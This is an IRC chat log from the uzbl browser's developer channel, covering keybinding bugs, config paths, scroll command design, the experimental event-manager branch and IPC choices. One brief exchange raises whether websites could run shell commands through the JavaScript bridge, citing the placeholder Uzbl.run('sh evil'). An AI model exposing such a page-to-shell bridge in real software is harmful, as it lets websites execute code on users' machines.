17:02 < mason-l> :P
17:02 < mason-l> Or whatever that script was called :)
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17:04 < Dieterbe_> uh. don't know
17:05 < Dieterbe_> it was for the 'set prompt when youre about to search on google/wikipedia/...' thing
17:06 < chpln`> mason-l: One last question before I get some sleep.  If I have resembling: '@bind <Ctrl>s* = search %s'.  Is it possible to type the search string after having released Ctrl?
17:06 < mason-l> chpln, Not yet but thats what we were brainstorming above ^
17:07 < mason-l> chpln, The best option right now is to @bind s* = search %s
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17:08 < chpln`> mason-l: Ah, OK.  I was looking to avoid the necessity to switch between modes, but that will do just fine for now. :)
17:08 < mason-l> chpln, Switch between modes?
17:08 < mason-l> Ah you mean while in insert mode?
17:09 < chpln`> mason-l: Yes, always_insert_mode enabled.
17:12 < rob|> ok pushed the changes to my tree
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17:13 < rob|> chpln`: if you have the time, can you pull in my tree and test again:  git://github.com/robm/uzbl.git
17:13 < chpln`> rob|: will do.
17:14 < rob|> ok, nice
17:20 < rob|> just tested a bit and didn't get any sticky key with this patch
17:20 < rob|> *keys
17:22 < chpln`> rob|: Still reproducible with Meta only here.
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17:25 < rob|> hmmm, strange!
17:28 < chpln`> rob|: Meta here requires Shift+Alt, activated in that order, which seems odd to me.  I'm wondering if it's not an issue within uzbl.
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17:34 < rob|> did a couple more changes, will push now to dieter's tree. g_object_connect() seems to be so much cleaner and requires only 1 function call
17:35 < chpln`> rob|: I noticed Meta will only stick if I release Shift prior to Alt.
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17:35 < github> uzbl: Robert Manea experimental SHA1-f57201f
17:35 < github> move g_signal_connect to g_object_connect
17:35 < github> http://bit.ly/XEb9l
17:35 < github> uzbl: Robert Manea experimental SHA1-34e2197
17:35 < github> remove obsolete code
17:35 < github> http://bit.ly/WOIHV
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17:36 < chpln`> rob|: Sticks 100% reproducibily in the above case.
17:37 < mason-l> rob|, I think this is a problem on my end as well!
17:38 < mason-l> I can reproduce the bug on my machine in the same way that I used to be able to with that <Shift-Tab> bug.
17:39 < mason-l> rob|, http://dpaste.com/94811/
17:42 < chpln`> Well, I'll get some sleep.  Thanks again for the help mason-l, rob|.
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17:51 < rob|> odd
17:55 < rob|> so what's the state of ertai's scroll patch? imo it's a good one
17:59 < mason-l> Imo I don't like the begin & end parameters.
18:00 < mason-l> It should be: "scroll up", "scroll down 50%", "scroll right 20", "scroll left 500"
18:00 < mason-l> But
18:01 < mason-l> Night night.
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18:01 < jelly12gen> where did the config needed to go ?
18:02 < jelly12gen> nevermind
18:03 < jelly12gen> wow the speed is increased
18:03 < jelly12gen> using no scripts atm , well i am going to play with it again :D
18:12 < farhaven> heh
18:12 < farhaven> got stack based browsing done :)
18:13 < farhaven> pressing ^ now puts a link onto a stack and pressing ' lets me choose links from the stack
18:13 < farhaven> pop'ing them turned out to suck :)
18:13 < Dieterbe_> farhaven: you're not the guy from the suckless ML ?
18:13 < farhaven> nah, but i was inspired by that mail :)
18:13 < Dieterbe_> aha :)
18:13  * Dieterbe_ off to home
18:14 < romain> since I updated uzbl, cookies don't work anymore
18:14 < scj> farhaven: why did pop'ing turn out to suck?
18:15 < romain> the cookies.txt file is always empty (with the three-lines comments “Netscape HTTP Cookie File”)
18:15 < farhaven> scj: because i couldn't find a comfortable way to know _which_ url gets poped
18:16 < scj> farhaven: ah. but you could use dmenu or something to select what to pop
18:16 < farhaven> which is what i do atm :)
18:17 < farhaven> also, digging into followLinks.js got me a concern
18:17 < farhaven> using Uzbl.run(), websites can execute arbitrary code, right?
18:17 < farhaven> with Uzbl.run('sh evil')
18:17 < scj> the Uzbl object is removed after the eval_js function is run
18:18 < farhaven> ah
18:18 < scj> if you don't leave any references to the object, it should be safe
18:18 < farhaven> k, great :)
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21:33 < mfwitten> I would like to do something like this: `set = = zoom_in' (that is, make `=' the `zoom_in' key), but this doesn't seem to work, even with \= as the key. Also, how can I make a binding that requires the last character to be a space (or any number of spaces)? I can't, because uzbl is limited unnecessarily by its syntax.
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21:39 < Dieterbe_> mfwitten: we're working on both of those issues
21:40 < scj> mfwitten: did you try 'bind' instead? :v
21:41 < Dieterbe_> oh, lol
21:42 < mfwitten> Dieterbe_, scj: Sorry, I meant `bind' :-D
21:42 < mfwitten> It's still all applies
21:43 < mfwitten> (my complaint is still valid)
21:43 < scj> yeah. I've been pining to bind space to vertical scrolling since day one
21:43 < Dieterbe_> mfwitten: i'll assume that 'complaint' was a misfortunate choice of words
21:44 < mfwitten> scj: Ah! I was just being academic when I mentioned whitespace, as I couldn't think of any case where it would be immediately useful ;-D
21:45 < mfwitten> Dieterbe_: Well, my initial statements were more of a plea for help; but given that they are issues being worked on, they are now complaints :-P
21:50 < Dieterbe_> well then stick your complaints where the sun doesn't shine. and instead contribute some patches
21:50 < mfwitten> :-D
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21:52 < Zariel> hey thar, trying uzbl it isnt grabbing input at all
21:52 < Zariel> not even for forms
21:52 < mfwitten> Zariel: You need a configuration
21:52 < scj> experimental branch?
21:53 < mfwitten> scj: Nope, just no config. I guarantee it.
21:53 < mfwitten> no bindings
21:53 < Zariel> im using the default config
21:54 < mfwitten> cp -r /usr/share/uzbl/examples/config/uzbl $XDG_CONFIG_HOME
21:54 < mfwitten> cp -r /usr/share/uzbl/examples/data/uzbl $XDG_DATA_HOME
21:54 < mfwitten> or something like that
21:54 < Zariel> im using the default config
21:54 < Zariel> i can see what keys are being pressed in xmobar, i close xmobar and it has no effect
21:54 < mfwitten> By default, do you mean what I've just alluded to?
21:55 < mfwitten> Zariel, please read what I've written
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21:55 < Zariel> yes i allready copied them
21:56 < mfwitten> and then just run `uzbl'
21:56 < Zariel> what directory structure does it expect inside .config/uzbl/config
21:56 < scj> did you build from the experimental branch?
21:56 < Zariel> no
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21:56 < Zariel> last time i tried uzbl (when it was first announced) it did the same
21:57 < mfwitten> Zariel: Did you apply the commands exactly as I listed?
21:57 < scj> what happens when you run uzbl --verbose?
21:57 < mfwitten> (assuming the source directories are the same on your machine)
21:57 < Zariel> yes
21:58 < mfwitten> Zariel: Do you have $XDG_* set even?
21:59 < Zariel> yes
21:59 < mfwitten> hmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm
21:59 < mfwitten> I just built from git HEAD, and that was my solution, so I'm at a loss at this point
22:01 < mfwitten> I had exactly your situation: characters getting piped to the title text of xmobar
22:02 < Zariel> sorted, config was in the incorrect place
22:02  * Zariel dislikes ~{.local,.config}
22:03 < mfwitten> Where did you put it before?
22:05 < Zariel> i had the structure, .config/uzbl/config/uzbl/config
22:06 < zash_> Zariel: why not ~/.config/uzbl/config/uzbl/config.conf ?
22:07 < zash_> redundant crap in paths ftw ;)
22:07 < Zariel> ye indeed :D
22:07 < Zariel> why does using "o google.com" work but ":o google.com" doesnt
22:08 < Zariel> reading the config the latter should happen
22:08 < Zariel> now to hack it to be more like vim!
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22:30 < mfwitten> What's the argument against something like irssi's or urxvt's loadable perl scripts?
22:30 < mfwitten> It seems to me that the steady state of "a uzbl browser" would be a daemon with which uzbl clients communicate for config/data/plugins anyway
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22:32 < scj> the idea is to come up with a powerful enough plaintext interface so you can script it in any language
22:33 < scj> and in the experimental branch, uzbl isn't actually a browser anymore, it's a html viewer. the actual 'browser' is done externally
22:35 < bct> are there scripts in experimental to duplicate the master experience?
22:35 < scj> yes, but I don't think it's all there yet
22:36 < mfwitten> scj: So input is from an external program?
22:36 < scj> mfwitten: input is sent to stdout, which is handled by an event manager
22:37 < mfwitten> scj: So, for instance, the external `browser' interprets keyboard input and then generates events to be piped to an event manager?
22:37 < scj> no
22:39 < scj> uzbl sends keypress events to stdout, which is interpreted by the event manager who deals with the actual logic, execution of scripts and keybindings and so on
22:40 < N30N_> scj: I agree with the author of polipo ->  http://www.pps.jussieu.fr/~jch/software/polipo/manual/WWWOFFLE.html
22:40 < mfwitten> So uzbl remains the viewer and becomes more of an input relay?
22:40 < scj> mfwitten: http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-September/000321.html
22:41 < scj> N30N_: good to know
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22:53 < mfwitten> scj: What's wrong with dbus?
22:54 < mfwitten> You guys are basically trying to use IPC as much as possible, so why not use something that does IPC really well as its one purpose
22:55 < scj> we could always add a dbus bridge later
22:56 < mfwitten> scj: However, the big task seems to be defining what a message is; why not go with something that people have been working on for ages?
22:58 < scj> mfwitten: if we struggle with what the message is, we wouldn't know what to send over dbus either
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22:59 < mfwitten> perhaps
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23:06 < scj> I think the main reason we don't use dbus is that it's overengineered for our purposes
23:06 < mfwitten> scj: So would, say, the DOM need to be processed twice---once by the viewer and once by the manipulator(s)?
23:07 < scj> mfwitten: depending on what and how you do it, yes
23:08 < scj> you could learn some js dom and use it as a sort of query language
23:08 < bct> dbus has been suggested/discussed a couple of times, i don't think anybody's really opposed but there's nobody really arguing for it either.
23:09 < bct> i like the idea of dbus but i'm a bit skeptical about it simply because the heavyweight DEs seem so enthusiastic about it.
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23:12 < mfwitten> scj: The web is so stupidly designed that data is sent around in a human readable form; this human readable form must be processed (every time!) into some form that can be used for quick computation of where to draw text, pictures, links, etc. This translation (into some kind of object-tree) is a waste of time, but must nevertheless be done at least once; it pains me to think that it would need to be done multiple times----that, to ...
23:12 < mfwitten> ... me, is the best feature of having a monolithic browser; the DOM can be built one and then manipulated and used without streaming the results here and there in various forms that require many cycles of reinterpretation (if you ask me, servers should already send an easily parsed, machine-readable form of data to browsers).
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23:16 < rob|> while i agree with you this sounds like a good slogan for a brand new html "compiler" :P
23:16 < zash_> or a dom daemon
23:16 < scj> the web sucks, it's more a matter of rolling with the punches and make the best of it
23:17 < bct> i wonder how hard it would be to get webkit to accept something that's already been parsed.
23:19 < rob|> well if you represent it in a form that matches webkit's (internal) parse tree not too hard i'd guess
23:20 < bct> you also need to get it to set up all the on* javascript stuff
23:21 < bct> and i thought we didn't have access to the tree?
23:21 < rob|> there are not API functions for that, yet - that's true
23:22 < rob|> *no
23:22 < bct> ah, ok.
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23:37 < rob|> mfwitten: about dbus, you do agree that the dbus fuctionality is hard to access without specialized libraries and not to compare with a simple string dispatched over standard, everywhere available means of IPC
23:38 < rob|> no need for daemons and anything because the kernel already offers all that's needed
23:42 < mfwitten> rob|: That's why dbus is so lightweight; there's only *a* library to provide code for all programs to use easily; because X11 pretty much requires dbus these days, it would make sense to assume you can go ahead and use it at pretty much no extra charge.
23:48 < rob|> i don't agree at all that X11 requires dbus. many DE might require it but i'm pretty sure there are more WMs and environments that don't
23:48 < scj> and you can't use sed, awk, et al to mainpulate dbus messages in arbitrary ways
23:49 < scj> manipulate*
23:51 < mfwitten> rob|: It's mainly used to communicate with HAL as far as I (think that I) know
23:51 < mfwitten> rob|: Unless you configure by hand
23:51 < mfwitten> scj: Perhaps a valid point; I'm not sure how difficult it would be to cut the payload out of a dbus message
23:53 < zash_> <slightly-unrelated> /me wants a per user thingy similar to /etc/{init,networking/if-*}.d</>
23:54 < scj> all we need is a easily parsable protocol and some way to describe key bindings and we're pretty much set
23:55 < mfwitten> rob|: Do you hack on WebKit?
23:55 < rob|> no
23:56 < mfwitten> :-/
23:56 < mfwitten> Is experimental unusable as yet?
23:57 < rob|> yeah, it is
23:57 < rob|> erm i mean
23:57 < rob|> no ;)
23:57 < mfwitten> hmmmm
23:59 < rob|> talking about uzbl's experimental branch i suppose?
23:59 < rob|> or webkit?
23:59 < mfwitten> uzbl
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00:00 < rob|> well, it still has its issues but it is usable
00:01 < rob|> the event manager works pretty well and the expansion refactoring together with the extended possibily to bind keys is pretty nice as well
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00:15 < Tama00> how stable is uzbl these days? is it enough for everday use?
00:16 < bct> Tama00, worksforme.
00:16 < bct> do you mean stable as in crashes or stable as in isn't constantly being updated?
00:17 < bct> in terms of crashes, there are some combinations of webkit + gcc versions that are known to cause issues. apart from that it's fine.
00:17 < Tama00> wo0o ill try it out then
00:17 < Tama00> :)
00:19 < ertai> rob|: about the scroll command... I'm wondering if some better naming could be found
00:21 < rob|> ertai: personally i'm fine with the current naming
00:22 < rob|> hmm, i guess we should cherry pick the expansion refactoring to master
00:22 < ertai> rob|: scroll up begin, scroll left begin, scroll left 20%
00:22 < bct> what does "scroll right begin" do?
00:23 < ertai> bct: nothing
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00:23 < ertai> that's also why I'm not fully convinced
00:24 < ertai> scroll top and scroll bottom would clearer and would exclude wrong combinations
00:24 < bct> scroll [vert/horiz] [begin/end/10%/-10%]
00:24 < ertai> bct: It's an option
00:24 < rob|> indeed, or simply 'scroll vertical/horizontal <argument>'
00:25 < ertai> rob|: what about begin/end then
00:25 < rob|> that's one possible argument
00:25 < ertai> OK
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00:26 < zash_> begin, end, [+|-]n[%|px]
00:27 < ertai> another option would be that 'scroll left' instead of 'scroll left begin'
00:28 < ertai> scroll {left,right,up,down} {amount,percent%}?
00:28 < ertai> omitting the last arg scroll to the end in the direction
00:28 < zash_> could reuse X11 geometry format?
00:28 < zash_> but skip the size part
00:31 < zash_> 2x [+-]?\d+(%|px)?
00:34 < ertai> I think this is less self-descriptive
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00:34 < ertai> rob|: so 'scroll vertical/horizontal <argument>' or 'scroll {left,right,up,down} {amount,percent%}?'
00:35 < scj> vertical/horizontal
00:37 < rob|> seconded
00:38 < ertai> let's go then
00:43 < rob|> ok, it would be cool if you'd sum up the changes and reply to the ML thread you started.
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00:44 < rob|> Dieterbe_: i cherry picked the expansion refactoring to master and pushed to my tree. if there are no objections i'll push to yours. just let me know when you're back again..
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00:56 < ertai> rob|: What about an UNBIND request/event?
01:01 < rob|> why would we need that?
01:02 < rob|> "binding" to a single space after the '=' will effectivley do the same
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01:05 < rob|> you could use something like 'set remove= = ' and then '@bind foo @remove'
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01:21 < ertai> rob|: Ok didn't know that binding to empty will do this
01:22 < ertai> The use case was this: suppose you had a binding 'ab' and now you update your config and add two new binding 'abc' and 'abd', you type !reload and 'ab' is still there
01:29  * ertai finally submitted the new scrolling patch + docs + removing the old ones
01:29 < ertai> good night
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01:38 < rob|> ertai: nice!
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09:52 < Dr-Horrible> does anyone else have a problem with freezing x
09:52 < Dr-Horrible> ?
09:55 < chpln`> Dr-Horrible: Had (I hope).  Recent updates in Debian broke X rather badly for me.
09:57 < jelly12gen> Dr-Horrible: tweakers works great again
09:57 < jelly12gen> with uzbl
09:57 < jelly12gen> without scripts it was running fast man
09:57 < Dr-Horrible> chpln`: Arch  here, it's getting annoying
09:58 < Dr-Horrible> jelly12gen: I never had a problem::P
09:58 < jelly12gen> Dr-Horrible: is it random ?
09:58 < jelly12gen> well i am going to setup tabbed layout + uzbl again for xmonad
09:58 < jelly12gen> but first have to find time
09:58 < Dr-Horrible> jelly12gen: the x freezes? It happens when i open a new url
09:58 < chpln`> Dr-Horrible: I migrated to Arch due to the breakage.  Has been fine since.
09:58 < jelly12gen> Dr-Horrible: what strange
09:58 < jelly12gen> *how
10:01 < rob|> morning.
10:01 < chpln`> morning rob|
10:02 < chpln`> Have any luck tracking down the source of the sticky keys?
10:03 < rob|> no, unfortunatelly. but i guess it's a problem with the sequence of key press/release
10:03 < rob|> we something similar with shifted keys
10:03 < rob|> ^had
10:04 < chpln`> Ah.  It's strange.
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10:08 < rob|> yeah, weird..
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10:17 < rob|> did you guys also get those DCC requests from pryorda_?
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11:55 < Dieterbe_> bct> in terms of crashes, there are some combinations of webkit + gcc versions that are known to cause issues.  <-- really??
11:59 < Dieterbe_> rob|: if the expansion stuff is tested and works, then yes, you can push to my master
12:03 < Dieterbe_> jelly12gen: you're on tweakers.net?
12:03 < Dieterbe_> i have an old account there of which i forgot the PW and i can't reset it anymore :P
12:03 < Dieterbe_> nice site other then that
12:03 < scj> Dieterbe_: webkit compiled with gcc4.4 on x86_64 causes javascript to shit brix
12:04 < Dieterbe_> i didn't know that
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13:26 < ruskie> http://blog.linuxtoday.com/blog/2009/09/firefox-is-zapp.html <-- hmm
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13:27 < Dieterbe_> can you paraphrase?
13:28 < ruskie> in other words... firefox is crap cause if one tab crashes the entire app crashes
13:32 < jelly12gen> hehe
13:32 < jelly12gen> Dieterbe_: yes
13:33 < jelly12gen> Dieterbe_: i talked about uzbl on tweakers ^^
13:33 < jelly12gen> oh ofcourse you're belgian
13:33 < Dieterbe_> yeah i saw the topic
13:33 < Dieterbe_> i wanted to reply, but couldn't login, nor reset my PW :(
13:33 < jelly12gen> ruskie: that's why u should use a tabbed layout in your WM
13:33 < jelly12gen> Dieterbe_: i haven;t used uzbl for a while though
13:34 < ruskie> jelly12gen, no thanks
13:34 < jelly12gen> but i installed it yesterday again and it was fast
13:34 < jelly12gen> :o
13:34 < ruskie> what should be done is apps should be written to be resistive to critical failures
13:34 < jelly12gen> so i have the feeling of tweaking the standard config and using the fastest cookie handler etc.
13:34  * jelly12gen loves tweaking
13:34 < ruskie> hmm nice koffice 2.0 will be available on the n900
13:35 < ruskie> for those that care
13:35 < ruskie> I'll only want texlive around ;)
13:35 < ruskie> it's a nice device actually... played with it yesterday
13:35 < jelly12gen> ruskie: cool
13:35 < ruskie> the N00 version of it
13:36 < Dieterbe_> ruskie: wow. how did you get your hands on that?
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13:40 < ruskie> Dieterbe_, local nokia store has it available
13:40 < ruskie> Dieterbe_, I'm guessing similar for you
13:41 < ruskie> sent them an email asking about it... but be sure to mention if they have a demo/prototype unit available to test out.
13:41 < ruskie> else nobody really has any clue about it
13:44 < ruskie> and even once there they tend to be a bit dodgy about owning up to it
13:45 < ruskie> I got a confirmation from them that they have a unit to test but when I got there they said no we don't
13:45 < ruskie> and I told them... I got an email claiming you do
13:45 < ruskie> and was quickly directed to another guy who had it and was using it
13:45 < ruskie> one of the reps
13:45 < Dieterbe_> heh
13:46 < ruskie> well I can understand them
13:46 < ruskie> it is a prototype unit
13:46 < Dieterbe_> anyway good tip. i'll ask around too
13:46 < ruskie> nokia flagships stores seem to have one or two usually
13:46 < Dieterbe_> though i've read and seen stuff online already and all is looking good
13:46 < ruskie> yup
13:47 < ruskie> still wanted to play with it a bit
13:47 < ruskie> and the keyboard is decent enough even for my own fingers
13:47 < Dieterbe_> and?
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13:47 < Dieterbe_> ah great
13:47 < ruskie> half width of the n95 keys
13:47 < ruskie> other then that I can press them more or less nicely
13:47 < ruskie> they are raised so it's easier
13:48 < ruskie> and the screen worked great...
13:48 < ruskie> though I guess as the software isn't yet final one could notice a few stops here and there
13:49 < ruskie> but from what I can tell the screen is continous
13:49 < ruskie> so you can roll only half of it and see half and half
13:51 < Dieterbe_> aha
13:52 < Dieterbe_> and can you type fast on it?
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14:04 < ruskie> yeah
14:04 < ruskie> I actually tride typing some stuff into notes and it went very nicely
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14:05 < Dieterbe_> that bit scares me a bit. i usually see people typing on it with 2 thumbs. isn't that a massive slowdown compared to normal typing with 10 fingers?
14:05 < ruskie> no
14:05 < ruskie> because the keys are much smaller and closer togheter
14:05 < ruskie> so thumb typing is generally just as fast
14:05 < ruskie> of course nothing is preventing you from having a pocketable BT keyboard with you and tying on that
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14:06 < ruskie> consider that I'm able to quite rapidly type on a keypad using the chording stuff
14:06 < ruskie> so having a full kb is a bonus for me
14:07 < ruskie> you also get autocompletion if you want
14:07 < ruskie> so it will help pre-filling words
14:08 < ruskie> though personaly that slows me down most
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14:14 < ruskie> but yeah I was worried about the keyboard as well
14:14 < ruskie> not anymore
14:15 < Dieterbe_> great
14:15 < Dieterbe_> what do you mean with chording stuff?
14:17 < ruskie> you know how you type on cell phone with keypads?
14:17 < ruskie> that's chord typing... you hit one key multiple times to get another char
14:17 < Dieterbe_> ah yes
14:17 < holizz> ruskie, Chording is where you hold down more than one key at once.
14:18 < ruskie> ow
14:18 < ruskie> my mistake
14:18 < Dieterbe_> well i hate the 'type multiple times' thing.
14:18 < nubs> chording seems like it'd be a great way to type fast on limited # of keys
14:19 < ruskie> yup
14:19 < ruskie> could probably make it workable on cell phones
14:19 < nubs> unfortunately, it hasn't caught on
14:20 < nubs> at least not yet
14:20 < holizz> GKOS would work great on phones.
14:20 < Dieterbe_> ruskie: you know i actually like to type with 10 fingers on netbook keyboards. the buttons are not too small but they are all close to each other so i find it quite comfortable to type on it with 10 fingers.  but i guess typing with 10 fingers on the n900 keyboard won't work as the keys are smaller then fingers
14:20 < Dieterbe_> holizz: what's gkos?
14:20 < holizz> And perhaps on dual thumbsticks... but that's another project.
14:21 < nubs> http://sites.google.com/site/gkoskbd/
14:21 < holizz> Dieterbe_, http://gkos.com/
14:21 < nubs> interesting
14:22 < holizz> I wrote a GKOS layout for joy2chord. It worked well, and the mnemonic name meant I didn't have to be looking up the layout all the time.
14:22 < holizz> But an upturned cheap-o USB gamepad is not ideal for typing on.
14:23 < scj> how do you type numbers and punctuation and stuff on a gkos?
14:24 < holizz> scj, http://koti.mbnet.fi/gkos/gkoscom/gkos-charset.html
14:25 < Dieterbe_> wow that looks awesome
14:25 < holizz> It actually encodes all the printable ASCII characters, several non-printing ones, and some modifiers like ctrl and alt (and maybe meta too?).
14:25 < ruskie> Dieterbe_, the other bit is... how would you hold it if you were typing with 10 fingers
14:26 < Dieterbe_> ruskie: lay it down on a table/desk in front of me.  i'm really talking about type-heavy applications here (working in a terminal and stuff)
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15:14 < rob|> re.
15:15 < Dieterbe_> ply.
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15:20 < rob|> well, i guess i'll push to master then
15:21 < rob|> everything seems to work ok. with my config and with the default one
15:22 < rob|> also updated the docu...
15:22 < Dieterbe_> allright. great
15:23 < rob|> ok, done.
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15:23 < github> uzbl: Robert Manea master SHA1-699e3fc
15:23 < github> added geometry variable
15:23 < github> http://bit.ly/Bb0Ep
15:23 < github> uzbl: Robert Manea master SHA1-fed3fcb
15:23 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl
15:23 < github> http://bit.ly/1aw61E
15:23 < github> uzbl: Robert Manea master SHA1-34c5c00
15:23 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl
15:23 < github> http://bit.ly/ALXb4
15:23 < github> uzbl: Robert Manea master SHA1-50d13fa
15:24 < github> Merge branch 'master' of git://github.com/Dieterbe/uzbl
15:24 < rob|> ?!?!?
15:24 < github> http://bit.ly/1IUyjh
15:24 < github> uzbl: Robert Manea master SHA1-da7ff47
15:24 < github> Stage 1: refactor expand system
15:24 < github> http://bit.ly/EaFOG
15:24 < github> uzbl: Robert Manea master SHA1-43c890d
15:24 < github> get rid of obsolete code
15:24 < github> http://bit.ly/258ZTr
15:24 < github> uzbl: Robert Manea master SHA1-f91d6a4
15:24 < github> get rid of more obsolete code
15:24 < github> http://bit.ly/2vMZti
15:24 < github> uzbl: Robert Manea master SHA1-089b272
15:24 < github> docu update
15:24 < github> http://bit.ly/h1kVT
15:24 < Dieterbe_> rob|: why '??' ?
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15:24 < rob|> no, it's ok
15:24 < rob|> this is master ;)
15:24 < Dieterbe_> yeah
15:25 < Dieterbe_> you know i thought abit about your 'lets make an announcement with request for testing' etc
15:25 < rob|> ok
15:25 < Dieterbe_> but i concluded that once we think it works okay, we should push to master and release it
15:25 < Dieterbe_> release early, release often
15:27 < rob|> oh, i don't think we should do it like that. let's keep master as is and only cherry pick non-event things to it and announce eperimental to get us more helping hands
15:28 < rob|> that way we have a good working and tested master while we can play at will with experimental
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15:29 < rob|> i mean experimental has quite some way to go before being really usefull. missing plugins, etc.
15:30 < rob|> also we haven't figured yet best practice to handle multiple instances with only one EM running
15:31 < rob|> and probably more stuff that will become visible with more testers
15:32 < rob|> imo this will make the "i want to use it and nothing more" group of people happy the "let me hack bloody stuff guys" as well ;)
15:32 < rob|> ^and
15:34 < Dieterbe_> ah yes. so i'll basically make an 'experimental release' and tell people if they want stability, they should skip it ;) and tag the release in the experimental branch
15:34 < rob|> well, i wouldn't make any experimental release. the ones who care enough will figure out how to git clone it
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15:35 < MichaelRaskin> rob|, well, a tag in some logical place in experimental wouldn't hurt..
15:35 < Dieterbe_> well it should at least be a fixed, recognisable point. so it needs at least a git tag
15:35 < MichaelRaskin> Actually, with github's "download tarball" it is quite close to release
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15:36 < rob|> sure, but i don't see any "logical place" in experimental yet that's worth tagging
15:37 < rob|> though, just do it if you feel the need for it
15:38 < rob|> in other words i don't see the point in making releases/tar balls of soemthing that chages almost every day
15:38 < rob|> master is certainly a different story
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15:41 < yuanyelele> Hi~ is forward/back broken? I'm using current git version
15:41 < Dieterbe_> rob|: well i would do this when the new EM stuff is more or less stable
15:42 < rob|> yuanyelele: works for me
15:42 < rob|> yuanyelele: i assume you're running the master branch?
15:42 < yuanyelele> I do :back, nothing happens
15:42 < rob|> default: just hit 'b' for back
15:43 < rob|> ^by
15:43 < yuanyelele> no, actually, I'm trying to assign new keys to forward/back
15:43 < rob|> yuanyelele: nopaste your config, then we can tell
15:45 < yuanyelele> Oh, it's my problem
15:45 < yuanyelele> anyway, is ctrl-I = <tab> ?
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15:45 < rob|> yuanyelele: also, with the default config ':back' should just work without any further bindings
15:46 < yuanyelele> I want to assign ctrl-I to back
15:46 < yuanyelele> and someone (in #vim) told me ctrl-I = <tab>, but in command mode, ctrl-I and <tab> results different behaviour
15:47 < rob|> yuanyelele: if you want that sort of bindings your best bet is to use experimental. (also some ctrl bindings work with master, there are some combinations that simply won't work)
15:47 < rob|> s/also/although/
15:48 < yuanyelele> so how to bind ctrl key in experimental branch?
15:48 < yuanyelele> what is the syntax?
15:50 < yuanyelele> I just cant input <ctrl-I> in the config file....
15:51 < rob|> yuanyelele: request bind <Ctrl>I = back
15:52 < rob|> yuanyelele: experimental does support all modifiers and you just define them as shown above, no need for ctrl tricks
15:53 < yuanyelele> thanks very much~ I'll try that~
15:56 < rob|> i'm off for a couple of hours. see you guys later...
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16:41 < yuanyelele> I'm trying the experimental branch. So different! You got two binaries: uzbl-core and uzbl-browser
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16:50 < yuanyelele> command "bind" not understood. ignoring.
16:50 < bct> i think the new command is request bind
16:50 < bct> or something like that.
16:51 < bct> it's probably in the readme or the example config.
16:53 < yuanyelele> cool! and now I'm going to copy event_manager.py...
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16:54 < mason-l> yuanyelele, Need any help just ask.
16:55 < mason-l> Or examples.
16:56 < mason-l> & Hey guys.
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16:56 < bct> good morning.
16:59 < yuanyelele> Cool! ctrl-O ctrl-I for back/forward working!
17:00 < yuanyelele> they are spelled <Ctrl>o and <Ctrl>i
17:02 < yuanyelele> by the way, who write the default config file? some of the bindings are vim-like, others are not. "<<" for scroll_begin? it's not in vim, nor w3m.
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17:05 < bct> nobody in particular writes it.
17:05 < bct> it just kind of accumulates as people contribute features.
17:06 < mason-l> It probably would help to have some direction (without alienating people of the vim or emacs mindsets).
17:06 < bct> yeah.
17:06 < mason-l> Because we don't need a uzbl-vim v.s. uzbl-emacs war.
17:07 < yuanyelele> "<<" is emacs style?
17:08 < mason-l> yuanyelele, It's Chaotic Neutral!
17:10 < mason-l> .. Well I laughed.
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17:11 < yuanyelele> well, not native English speaker, and after look it up in wikipedia, I don't play Dungeons & Dragons, ...
17:11 < bct> :)
17:11 < yuanyelele> o(∩_∩)o
17:12 < mason-l> Sadly that alignment was removed in version 4
17:12 < bct> it's chaotic because it doesn't have any system, it's neutral because it doesn't favour anything
17:12 < mason-l> bct, It's not like it didn't fit or anything :)
17:13 < bct> eh? did they completely revise the alignment system, or did they just remove points on the graph that they didn't think fit?
17:13 < Dieterbe_> alignment system?
17:13 < mason-l> bct, Its been a while since I looked over version 4 but they removed all those in favour of "Unaligned" or something similar.
17:14  * mason-l finds his players handbook
17:15 < yuanyelele> I'm going to bed now. I love this browser. Bye hackers! --- from China
17:15 < mason-l> Alignments: Good, Lawful Good, Evil, Chaotic Evil, Unaligned. Thats it.
17:15 < Dieterbe_> mason-l / rob| can we come up with some kind of todo plan for experimental branch?
17:15 < bct> good night yuan :)
17:16 < bct> mason-l, that's weak.
17:16 < mason-l> yuanyelele, Night night.
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17:16 < mason-l> Dieterbe_, Sounds like a plan.
17:16 < kustom> hi, is it possible to add download percentage to status bar?
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17:17 < mason-l> kustom, Yes, with a script that reports the download percentage back to uzbl via the fifo interface.
17:17 < mason-l> kustom, uzbl can't do it automatically because there is no download manager or downloader in uzbl.
17:17 < kustom> yeah i know
17:18 < mason-l> kustom, Some people have done it in the past. I think their attempts might be in the wiki.
17:18 < kustom> i searched there but didnt find something, one more try
17:19 < mason-l> kustom, I could be mistaken.
17:20 < mason-l> kustom, If you are going to do it and wondering how to attempt it check out wgets "dot" notation.
17:20 < kustom> ahh, got it, one script via dzen another one via zenity
17:20 < mason-l> Ah, ok.
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17:22 < Dieterbe_> mason-l: i'm a bit out of the loop, it's you and rob who know the current status best
17:23 < mason-l> Dieterbe_, Sure thing, rob|'s apparently headed out for a bit but I'm off for the next four days so I can help with the project in any way I can during that time.
17:24 < Dieterbe_> you mean you are off duty, and hence, online for uzbl hacking?
17:26 < mason-l> Yeah :)
17:26 < mason-l> Off as in time off not work-injury or anything, just a weekend free :)
17:27 < Dieterbe_> great
17:27 < Dieterbe_> it's "fair" in my town this weekend so i'm not sure if i'll be doing lots of uzbl stuff
17:28 < Dieterbe_> actually i just prefer you or rob| give me some specifics tasks
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17:29 < mason-l> Dieterbe_, Sure thing.
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17:30 < mason-l> Dieterbe_, Just out of curiosity: how big is your town?
17:32 < Frots> where is he from
17:32 < Dieterbe_> just a few k people.  i probably should have said 'village' instead of town :)
17:33 < Dieterbe_> it's a small rural town in flanders, belgium
17:33 < Frots> dorpje
17:33 < mason-l> Dieterbe_, Nice :D
17:33 < Frots> Dieterbe_: you if those 'Vlaanderen' signs with the big lion are somewhere to buy?
17:33 < Dieterbe_> http://nl.wikipedia.org/wiki/Kalken
17:33 < mason-l> Dieterbe_, Turns out I live in a small city though it doesn't feel like it.
17:34 < Dieterbe_> Frots: i'm sure you can buy them yes. but where? dunno
17:34 < Frots> I want to give it to my father for his birthday because of hir last name (Vlaanderen ;))
17:34 < Frots> his*
17:35 < Dieterbe_> here's how it looks like from the sky http://www.waldack.be/castellum/Kalken3.JPG
17:36 < Dieterbe_> my house is *just* not on that picture ;)
17:36 < Frots> nice
